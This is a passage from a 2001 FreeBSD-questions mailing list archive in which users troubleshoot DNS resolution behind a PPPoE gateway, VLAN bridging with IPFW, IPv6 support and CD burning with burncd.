<20011114173647.D66694@blossom.cjclark.org> <20011115012039.GA61093@shall.anarcat.dyndns.org> <20011114173647.D66694@blossom.cjclark.org> <5.1.0.14.0.20011123164749.0245ec60@mail.enterit.com> <5.1.0.14.0.20011123172728.02c61518@mail.enterit.com> <20011124103734.GB386@irrelevant.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011124103734.GB386@irrelevant.org> User-Agent: Mutt/1.3.22.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Nov 24, 2001 at 10:37:34AM +0000, Simon Dick wrote: > On Fri, Nov 23, 2001 at 05:30:43PM -0500, Jim Conner wrote: > > At 16:30 11.23.2001 -0500, The Anarcat wrote: > > >On Fri Nov 23, 2001 at 04:48:54PM -0500, Jim Conner wrote: > > >> At 16:14 11.23.2001 -0500, The Anarcat wrote: > > >> >On Wed Nov 14, 2001 at 05:36:47PM -0800, Crist J. Clark wrote: > > >> >> > > >> >> host(1) _always_ uses DNS. > > >> >> > > >> > > > >> >Doh! I should have RTFM... sorry. > > >> > > > >> >Is there a tool that doesn't use just DNS? > > >> > > >> grep hostname /etc/hosts > > >> grep password /etc/hosts > > >> > > >> Those ought to work. > > > > > >The thing is that I want to test the functionality of the resolver. > > > > > >I need a simple userland gethostby* interface. :) nslookup and host and > > >friends are all DNS oriented, IIUC. > > > > > >Anyways, I'll probably end up writing my own one-liner. ;) > > > > Unfortunately, I am not familiar with such a thing. I have been in need of > > the same kind of tool. I will be interested to see what others say. It > > seems obvious to me that this is not a name lookup mechanism but a type of > > Unix lookup since the /etc/hosts file was used way before DNS was ever > > thought up. There must be a built-in tool/library somewhere that can do > > what you are trying to accomplish. > > I guess my method of just using ping and seeing what IP it tries > to ping won't be suitable for this? :) > It is a little difficult to understand exactly what you are trying to achieve. If you want to get a hostname from an ip-address or vice-versa from your /etc/hosts file then a simple grep will do the job. However that really doesn't mean very much since you can put what you like in /etc/hosts. What would normally be in their is your local network hosts and possibly some common hosts that you access. A meaningful reverse DNS lookup can only be achieved through a DNS. The usual way to achieve this for a small network would be to have a caching only local DNS server with some external DNS server(s), probably your ISP's, defined as "forwarders". This is extremely easy to setup There are several players in the game here, there is the resolver, the name service switch, and possibly even a name service cache daemon (nscd). It is also complicated by the fact that some software may not even use the resolver library at all. Then there is NIS, of course. If you define a bit more precisely what you are trying to achieve it may help. The man is right btw, the days of HOSTS.TXT are long, long gone .. :). -- Regards Cliff To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 4:56:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sage-american.com (sage-american.com [216.122.141.44]) by hub.freebsd.org (Postfix) with ESMTP id 2CB2137B416 for ; Sat, 24 Nov 2001 04:56:08 -0800 (PST) Received: from SAGEONE (adsl-64-219-21-130.dsl.crchtx.swbell.net [64.219.21.130]) by sage-american.com (8.9.3/8.9.3) with SMTP id GAA17978; Sat, 24 Nov 2001 06:55:52 -0600 (CST) Message-Id: <3.0.5.32.20011124065606.0100ffd0@mail.sage-american.com> X-Sender: jacks@mail.sage-american.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Sat, 24 Nov 2001 06:56:06 -0600 To: "f.johan.beisser" From: jacks@sage-american.com Subject: Re: PPPoE on DSL Clients Cc: In-Reply-To: <20011123224349.C16958-100000@localhost> References: <3.0.5.32.20011123232154.0100ffd0@mail.sage-american.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ...yes, pointed to the gateway 192.168.0.1 At 10:44 PM 11.23.2001 -0800, f.johan.beisser wrote: >On Fri, 23 Nov 2001 jacks@sage-american.com wrote: > >> The BSD server/gateway (dynamic IP) can ping out and resolves addresses >> without any problem, BUT, none of the client workstations can find anything >> on the Internet. So, no browsing, email, ftp, etc. All stations can ping >> each other. >> >> The clients can reach the Internet address (get email, FTP, browse, etc) >> IF, it is put into the "etc/hosts" file, whether it is Win2K or other BSD >> boxes.... each client points to the default 192.168.0.1 INTERNAL IP >> assigned to the gateway box running the DSL. The resolv.conf file for the >> DSL box has the proper nameservers for the ISP. DNS is enabled in ppp.conf. >> NAT and gateway is enabled in rc.conf. >> >> If my config files will help, let me know.... > >dumb question, but do the internal hosts have a DNS server configured? > > > > > Best regards, Jack L. Stone, Server Admin Sage-American http://www.sage-american.com jacks@sage-american.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 4:59:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sage-american.com (sage-american.com [216.122.141.44]) by hub.freebsd.org (Postfix) with ESMTP id 9398437B417 for ; Sat, 24 Nov 2001 04:59:07 -0800 (PST) Received: from SAGEONE (adsl-64-219-21-130.dsl.crchtx.swbell.net [64.219.21.130]) by sage-american.com (8.9.3/8.9.3) with SMTP id GAA18374; Sat, 24 Nov 2001 06:58:57 -0600 (CST) Message-Id: <3.0.5.32.20011124065910.0102aa60@mail.sage-american.com> X-Sender: jacks@mail.sage-american.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Sat, 24 Nov 2001 06:59:10 -0600 To: Annelise Anderson From: jacks@sage-american.com Subject: Re: PPPoE on DSL Clients Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: References: <3.0.5.32.20011123232154.0100ffd0@mail.sage-american.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG The clients point DNS server qw 191.168.0.1... the Gateway (192.168.0.1) has the ISP nameserver IPs in resolv.conf.... At 02:59 AM 11.24.2001 -0800, Annelise Anderson wrote: >On Fri, 23 Nov 2001 jacks@sage-american.com wrote: > >> Well.... finally got PPPoE on DSL working just fine on a FreeBSD server. >> Only one problem left to solve and hope for a little more help. >> >> The BSD server/gateway (dynamic IP) can ping out and resolves addresses >> without any problem, BUT, none of the client workstations can find anything >> on the Internet. So, no browsing, email, ftp, etc. All stations can ping >> each other. > >> The clients can reach the Internet address (get email, FTP, browse, etc) >> IF, it is put into the "etc/hosts" file, whether it is Win2K or other BSD >> boxes.... each client points to the default 192.168.0.1 INTERNAL IP >> assigned to the gateway box running the DSL. The resolv.conf file for the >> DSL box has the proper nameservers for the ISP. DNS is enabled in ppp.conf. >> NAT and gateway is enabled in rc.conf. > >I think you nameserver has to be in resolv.conf (or the comparable >Windows setup) on each client. > > Annelise > >-- >Annelise Anderson >Author of: FreeBSD: An Open-Source Operating System for Your PC >Available from: mall.daemonnews.org and amazon.com >Book Website: http://www.bittreepress.com/FreeBSD/introbook/ > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > Best regards, Jack L. Stone, Server Admin Sage-American http://www.sage-american.com jacks@sage-american.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 5: 3:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sage-american.com (sage-american.com [216.122.141.44]) by hub.freebsd.org (Postfix) with ESMTP id 388F237B405 for ; Sat, 24 Nov 2001 05:03:22 -0800 (PST) Received: from SAGEONE (adsl-64-219-21-130.dsl.crchtx.swbell.net [64.219.21.130]) by sage-american.com (8.9.3/8.9.3) with SMTP id HAA18963; Sat, 24 Nov 2001 07:03:16 -0600 (CST) Message-Id: <3.0.5.32.20011124070329.01031c68@mail.sage-american.com> X-Sender: jacks@mail.sage-american.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Sat, 24 Nov 2001 07:03:29 -0600 To: garyj@jennejohn.org, Annelise Anderson From: jacks@sage-american.com Subject: Re: PPPoE on DSL Clients Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: <200111241141.fAOBfoq08976@peedub.muc.de> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG No, DNS is enabled in the ppp.conf... yes, the Win2K boxes can be left to find their way or "automatically" but that doesn't change anything.... another BSD ckient cannot find resolv addresses either... If I place any IP addresds in each of the clients, they work fine... the clients are just not seeing the route in the gateway.... At 12:41 PM 11.24.2001 +0100, Gary Jennejohn wrote: >On Saturday 24 November 2001 11:59, Annelise Anderson wrote: >> On Fri, 23 Nov 2001 jacks@sage-american.com wrote: >> > Well.... finally got PPPoE on DSL working just fine on a >> > FreeBSD server. Only one problem left to solve and hope for >> > a little more help. >> > >> > The BSD server/gateway (dynamic IP) can ping out and >> > resolves addresses without any problem, BUT, none of the >> > client workstations can find anything on the Internet. So, >> > no browsing, email, ftp, etc. All stations can ping each >> > other. >> > >> > The clients can reach the Internet address (get email, FTP, >> > browse, etc) IF, it is put into the "etc/hosts" file, >> > whether it is Win2K or other BSD boxes.... each client >> > points to the default 192.168.0.1 INTERNAL IP assigned to >> > the gateway box running the DSL. The resolv.conf file for >> > the DSL box has the proper nameservers for the ISP. DNS is >> > enabled in ppp.conf. NAT and gateway is enabled in rc.conf. >> >> I think you nameserver has to be in resolv.conf (or the >> comparable Windows setup) on each client. >> >> Annelise > >I recently set up something similar for a friend. He also has >some windoze boxes on his network. > >It was not necessary to do anything special on the windoze >machines. I did however put ``enable dns'' in ppp.conf so that >ppp automatically puts the nameservers into /etc/resolv.conf on >the FBSD router. > >Maybe this line is missing. > >-- >Gary Jennejohn garyj@jennejohn.org gj@freebsd.org > > Best regards, Jack L. Stone, Server Admin Sage-American http://www.sage-american.com jacks@sage-american.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 5: 7:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200]) by hub.freebsd.org (Postfix) with ESMTP id B0D6F37B416 for ; Sat, 24 Nov 2001 05:07:07 -0800 (PST) Received: from [195.20.224.208] (helo=mrvdom01.schlund.de) by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2) id 167cWK-0002gy-00; Sat, 24 Nov 2001 14:07:00 +0100 Received: from pd9e493fe.dip0.t-ipconnect.de ([217.228.147.254] helo=there) by mrvdom01.schlund.de with smtp (Exim 2.12 #2) id 167cWJ-0008BE-00; Sat, 24 Nov 2001 14:07:00 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Robert Klein Reply-To: RoKlein@roklein.de Organization: roklein.de To: jacks@sage-american.com, "f.johan.beisser" Subject: Re: PPPoE on DSL Clients Date: Sat, 24 Nov 2001 15:08:16 +0100 X-Mailer: KMail [version 1.3.2] References: <3.0.5.32.20011123232154.0100ffd0@mail.sage-american.com> <3.0.5.32.20011124065606.0100ffd0@mail.sage-american.com> In-Reply-To: <3.0.5.32.20011124065606.0100ffd0@mail.sage-american.com> Cc: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Saturday, 24. November 2001 13:56, you wrote: >...yes, pointed to the gateway 192.168.0.1 >>dumb question, but do the internal hosts have a DNS server configured? That's the problem. You have to point the hosts to a DNS server. So you have either to run DNS on 192.168.0.1, or point the clients to the same name server your gateway points to. The entries in the gateway's resolv.conf are used for requests originating from the gateway only. You could, however, install a forwarding DNS server on the gateway, that gets your clients requests and forwards them to the "real" DNS server, if you don't want your clients to point to an outside server... Regards, Robert Klein To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 5:22:20 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail1.toronto.istar.net (mail1.toronto.istar.net [209.89.75.17]) by hub.freebsd.org (Postfix) with ESMTP id 604DF37B405 for ; Sat, 24 Nov 2001 05:22:17 -0800 (PST) Received: from d226-39-102.home.cgocable.net ([24.226.39.102] helo=x1-6-00-50-ba-de-36-33.kico1.on.home.com) by mail1.toronto.istar.net with esmtp (Exim 2.02 #1) id 167clD-00046j-00; Sat, 24 Nov 2001 08:22:23 -0500 Received: from localhost (genisis@localhost) by x1-6-00-50-ba-de-36-33.kico1.on.home.com (8.11.6/8.11.6) with ESMTP id fAODStJ76989; Sat, 24 Nov 2001 08:28:56 -0500 (EST) (envelope-from genisis@istar.ca) X-Authentication-Warning: x1-6-00-50-ba-de-36-33.kico1.on.home.com: genisis owned process doing -bs Date: Sat, 24 Nov 2001 08:28:55 -0500 (EST) From: Dru X-X-Sender: To: Chuck Root Cc: Subject: Re: IPFW/VLAN In-Reply-To: <3BFF5C8C.1CC4A6FF@mauibuilt.com> Message-ID: <20011124082416.R76925-100000@x1-6-00-50-ba-de-36-33.kico1.on.home.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, 23 Nov 2001, Chuck Root wrote: > I am trying to use a freebsd box with 2 fxp NIC's in it as a firewall > between 2 points on a 802.1q tagged vlan trunk. > > I am bridging the interfaces using the BRIDGING option in the kernel and > I am using ipfw to filter pakets. > > The bridge and ipfw work fine with normal pakets but the ones with > 802.1q tages slip right on by. > > is there any way to do this? > > I have tried bridging the vlans them selfs with no luck. Hi Richard, Do you have the following line in your kernel config file? pseudo-device vlan 2 Also, what is the MTU on the fxps? HTH, Dru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 5:36:55 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sage-american.com (sage-american.com [216.122.141.44]) by hub.freebsd.org (Postfix) with ESMTP id 40C4D37B416 for ; Sat, 24 Nov 2001 05:36:52 -0800 (PST) Received: from SAGEONE (adsl-64-219-21-130.dsl.crchtx.swbell.net [64.219.21.130]) by sage-american.com (8.9.3/8.9.3) with SMTP id HAA23315; Sat, 24 Nov 2001 07:36:47 -0600 (CST) Message-Id: <3.0.5.32.20011124073701.01031c68@mail.sage-american.com> X-Sender: jacks@mail.sage-american.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Sat, 24 Nov 2001 07:37:01 -0600 To: RoKlein@roklein.de, "f.johan.beisser" From: jacks@sage-american.com Subject: Re: PPPoE on DSL Clients Cc: In-Reply-To: References: <3.0.5.32.20011124065606.0100ffd0@mail.sage-american.com> <3.0.5.32.20011123232154.0100ffd0@mail.sage-american.com> <3.0.5.32.20011124065606.0100ffd0@mail.sage-american.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I running DNS on 192.168.0.1 (the gateway).... I tried pointing the clients to the ISP nameserver, but no change... At 03:08 PM 11.24.2001 +0100, Robert Klein wrote: >On Saturday, 24. November 2001 13:56, you wrote: >>...yes, pointed to the gateway 192.168.0.1 >>>dumb question, but do the internal hosts have a DNS server configured? > >That's the problem. You have to point the hosts to a DNS server. So you have >either to run DNS on 192.168.0.1, or point the clients to the same name >server your gateway points to. > >The entries in the gateway's resolv.conf are used for requests originating >from the gateway only. > >You could, however, install a forwarding DNS server on the gateway, that gets >your clients requests and forwards them to the "real" DNS server, if you >don't want your clients to point to an outside server... > >Regards, >Robert Klein > > Best regards, Jack L. Stone, Server Admin Sage-American http://www.sage-american.com jacks@sage-american.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 5:50:29 2001 Delivered-To: freebsd-questions@freebsd.org Received: from topaz.mdcc.cx (topaz.mdcc.cx [212.204.230.141]) by hub.freebsd.org (Postfix) with ESMTP id 70C1137B405 for ; Sat, 24 Nov 2001 05:50:26 -0800 (PST) Received: from k7.mavetju.org (topaz.mdcc.cx [212.204.230.141]) by topaz.mdcc.cx (Postfix) with ESMTP id 8199D2B696; Sat, 24 Nov 2001 14:50:21 +0100 (CET) Received: by k7.mavetju.org (Postfix, from userid 1001) id 7D4F1208; Sun, 25 Nov 2001 00:50:15 +1100 (EST) Date: Sun, 25 Nov 2001 00:50:15 +1100 From: Edwin Groothuis To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: Disabling IPv6 support for now Message-ID: <20011125005015.C579@k7.mavetju.org> Mail-Followup-To: Edwin Groothuis , Anthony Atkielski , FreeBSD Questions References: <05d301c17478$0a774250$0a00000a@atkielski.com> <20011124113104.A579@k7.mavetju.org> <060201c174c1$dec11330$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <060201c174c1$dec11330$0a00000a@atkielski.com>; from anthony@freebie.atkielski.com on Sat, Nov 24, 2001 at 09:27:34AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Nov 24, 2001 at 09:27:34AM +0100, Anthony Atkielski wrote: > Edwin writes: > > > man faith gives: > > faith - IPv6-to-IPv4 TCP relay capturing > > interface > > Whatever that is! > > Now I'm wondering: Is the current "native" protocol of FreeBSD IPv4 or IPv6? > That is, is it still primarily an IPv4 system internally, or have most kernel > stuff and system programs been converted to IPv6? The kernel is fully IPv4 and IPv6 supported. The system-programs (syslogd, named, ssh(d), telnet, ping, netstat etc etc etc) support IPv4 and IPv6. The programs in the ports directory might, or might not, be supporting IPv6. I've had some programs which do, some programs which don't. Some can be found by grepping for ipv6 in the INDEX file, some are it without having this tag. Now and then I'm happily surprised when I use it and suddenly see them using it. If you want to play with a "real" ipv6 interface, try the freenet6 port in /usr/ports/net/freenet6. It's pretty cool :-) Edwin -- Edwin Groothuis | Personal website: http://www.MavEtJu.org edwin@mavetju.org | Interested in MUDs? Visit Fatal Dimensions: ------------------+ http://www.FatalDimensions.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 5:50:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from SRDMAIL.SINP.MSU.RU (bigking.sinp.msu.ru [213.131.9.130]) by hub.freebsd.org (Postfix) with ESMTP id F26A837B417 for ; Sat, 24 Nov 2001 05:50:54 -0800 (PST) Received: from tere.sinp.msu.ru ([213.131.9.140] helo=tere) by SRDMAIL.SINP.MSU.RU with smtp (Exim 3.33 #3) id 167dAM-000N0H-00 for freebsd-questions@FreeBSD.ORG; Sat, 24 Nov 2001 16:48:22 +0300 Message-ID: <003501c174ee$ad5bd640$8c0983d5@sinp.msu.ru> From: "Dmitry A. Mottl" To: Subject: FreeBSD source code Date: Sat, 24 Nov 2001 16:48:20 +0300 MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, All Where can I read about FreeBSD kernel source code and FreeBSD kernel internals? I've already read FreeBSD Programmers Handbook. Please give me only material in Internet, not printed. Thank you -- best regards, Dmitry Mottl To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 7:43:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.takas.lt (mail-src.takas.lt [212.59.31.66]) by hub.freebsd.org (Postfix) with ESMTP id 95F7E37B419 for ; Sat, 24 Nov 2001 07:43:30 -0800 (PST) Received: from tadas.lt ([213.190.61.80]) by mail.takas.lt with Microsoft SMTPSVC(5.0.2195.2966); Sat, 24 Nov 2001 17:40:20 +0200 Received: (from tadas@localhost) by tadas.lt (8.11.3/8.11.3) id fAOFn9s12243 for freebsd-questions@freebsd.org; Sat, 24 Nov 2001 17:49:09 +0200 (EET) (envelope-from tadas) Date: Sat, 24 Nov 2001 17:49:09 +0200 From: Tadas To: FreeBSD Subject: Burning CD's Message-ID: <20011124174908.A11804@tadas.lt> Reply-To: b-tadas@takas.lt Mail-Followup-To: FreeBSD Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.18i X-OS: FreeBSD 4.0-RELEASE X-OriginalArrivalTime: 24 Nov 2001 15:40:21.0273 (UTC) FILETIME=[53650890:01C174FE] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, I've bought a Mitsumi CD-4809TE CD-RW. I would like to know if it is supported by FreeBSD's burncd? How burncd differs from cdrecord? Bye, Tadas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 8: 9:51 2001 Delivered-To: freebsd-questions@freebsd.org Received: from moutvdom00.kundenserver.de (moutvdom00.kundenserver.de [195.20.224.149]) by hub.freebsd.org (Postfix) with ESMTP id 6254337B418 for ; Sat, 24 Nov 2001 08:05:46 -0800 (PST) Received: from [195.20.224.209] (helo=mrvdom02.schlund.de) by moutvdom00.kundenserver.de with esmtp (Exim 2.12 #2) id 167fJF-0002Xt-00; Sat, 24 Nov 2001 17:05:41 +0100 Received: from pd9e493fe.dip0.t-ipconnect.de ([217.228.147.254] helo=there) by mrvdom02.schlund.de with smtp (Exim 2.12 #2) id 167fJF-0005MD-00; Sat, 24 Nov 2001 17:05:41 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Robert Klein Reply-To: RoKlein@roklein.de Organization: roklein.de To: jacks@sage-american.com Subject: Re: PPPoE on DSL Clients Date: Sat, 24 Nov 2001 18:06:58 +0100 X-Mailer: KMail [version 1.3.2] References: <3.0.5.32.20011124065606.0100ffd0@mail.sage-american.com> <3.0.5.32.20011124073701.01031c68@mail.sage-american.com> In-Reply-To: <3.0.5.32.20011124073701.01031c68@mail.sage-american.com> Cc: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hmm, lets take a look at the client. The file /etc/resolv.conf should have at least one line like: nameserver 194.25.2.129 nameserver 134.93.8.13 The file /etc/rc.conf should have some lines looking like: defaultrouter="192.168.0.1" hostname="client1.sage-american.com" Now, on a client try "nslookup xyzzy.de". If you get a answer (no error), your network setup should be ok. Else, let's try a "nslookup xyzzy.de 134.93.8.13". This command tries to resolve the name "xyzzy.de" using the nameserver of the University of Mainz, instead of the system default. The answer should be: ->Server: kingluey.zdv.Uni-Mainz.DE ->Address: 134.93.8.13 ->Name: xyzzy.de ->Address: 195.20.225.16 (without the "->" part). If you get this, your nameserver entry in /etc/resolv.conf is probably wrong. Else, maybe there's a problem with the gateway. Do you have a firewall installed, perhaps? Regards, Robert Klein On Saturday, 24. November 2001 14:37, you wrote: >I running DNS on 192.168.0.1 (the gateway).... >I tried pointing the clients to the ISP nameserver, but no change... > [rest deleted] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 8:22:56 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smnolde.com (rr-163-54-1.atl.mediaone.net [24.163.54.1]) by hub.freebsd.org (Postfix) with ESMTP id C09F537B41D for ; Sat, 24 Nov 2001 08:18:53 -0800 (PST) Received: from bsd.smnolde.com ([192.168.10.7] helo=bsd) by smnolde.com with esmtp (Exim 3.30 #1) id 167fW1-000DNi-00; Sat, 24 Nov 2001 11:18:53 -0500 Date: Sat, 24 Nov 2001 11:18:52 -0500 (EST) From: Scott Nolde To: Tadas Cc: FreeBSD Subject: Re: Burning CD's In-Reply-To: <20011124174908.A11804@tadas.lt> Message-ID: <20011124111617.Y66190-100000@bsd.smnolde.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG burncd is expressly written for IDE writers, whereas cdrecord is written for SCSI cd writers. There is no SCSI emulation for FreeBSD like with linux. As far as using burncd with your writer, there is a good chance it will. If you have an ISO image you wish to burn to a CDR, the burncd manpage gives an example. - Scott smacked into the keyboard previously by owner-freebsd-questions@FreeBSD.ORG: >Date: Sat, 24 Nov 2001 17:49:09 +0200 >From: Tadas >To: FreeBSD >Subject: Burning CD's > >Hello, > >I've bought a Mitsumi CD-4809TE CD-RW. I would like to know if it is >supported by FreeBSD's burncd? How burncd differs from cdrecord? > >Bye, >Tadas > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > Scott Nolde GPG Key 0xD869AB48 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 8:28:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts14-srv.bellnexxia.net (tomts14.bellnexxia.net [209.226.175.35]) by hub.freebsd.org (Postfix) with ESMTP id 02CCE37B417 for ; Sat, 24 Nov 2001 08:24:27 -0800 (PST) Received: from sympatico.ca ([65.94.227.77]) by tomts14-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011124162426.ZAHT21779.tomts14-srv.bellnexxia.net@sympatico.ca> for ; Sat, 24 Nov 2001 11:24:26 -0500 Message-ID: <3BFFC9BE.2070407@sympatico.ca> Date: Sat, 24 Nov 2001 11:24:30 -0500 From: Phil R User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.5) Gecko/20011027 X-Accept-Language: en-us MIME-Version: 1.0 To: freebsd-questions@freebsd.org Subject: cannot burn a CD with burncd Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I have those errors on two BSD boxes with two different CDR!!! (Yamaha 2200 20/10/40 and an old HP) #burncd -t -s4 -f /dev/acd0c data something.tar.gz fixate (or different speed) next writeable LBA 0 writing from file something.tar.gz size 218 KB written this track 220 KB (100%) total 220 KB fixating CD, please wait.. burncd: ioctl(CDRIOCCLOSEDISK): Input/output error and I got those errors too: Nov 24 11:16:39 /kernel: acd0: READ_TOC - ILLEGAL REQUEST asc=24 ascq=00 error=00 Nov 24 11:16:39 /kernel: acd0: READ_TOC - ILLEGAL REQUEST asc=24 ascq=00 error=00 Nov 24 11:16:40 /kernel: acd0: MODE_SELECT_BIG - ILLEGAL REQUEST asc=1a ascq=00 error=00 Nov 24 11:16:40 /kernel: acd0: MODE_SELECT_BIG - ILLEGAL REQUEST asc=1a ascq=00 error=00 Do I miss something? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 8:32: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.fibertel.com.ar (mta1.fibertel.com.ar [24.232.0.161]) by hub.freebsd.org (Postfix) with ESMTP id 8401A37B405 for ; Sat, 24 Nov 2001 08:27:56 -0800 (PST) Received: from there (24.232.6.115) by mail.fibertel.com.ar (5.5.034) id 3BF57EA500182536 for freebsd-questions@FreeBSD.org; Sat, 24 Nov 2001 13:30:42 -0300 Message-ID: <3BF57EA500182536@mail.fibertel.com.ar> (added by postmaster@fibertel.com.ar) Content-Type: text/plain; charset="iso-8859-1" From: Noel To: freebsd-questions@FreeBSD.org Subject: cannot use /dev/sndstat Date: Sat, 24 Nov 2001 13:26:22 -0300 X-Mailer: KMail [version 1.3] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi. how can i use /dev/sndstat? i just recompiled my kernel to include support for my sound card, and checking dmesg, the kernel sees my sound card as "pcm0 : port 0xdc00-0xdc7f irq 9 at device 11.0 on pci0". all i get when i try /dev/sndstat is "/dev/sndstat:permission denied" even when i'm 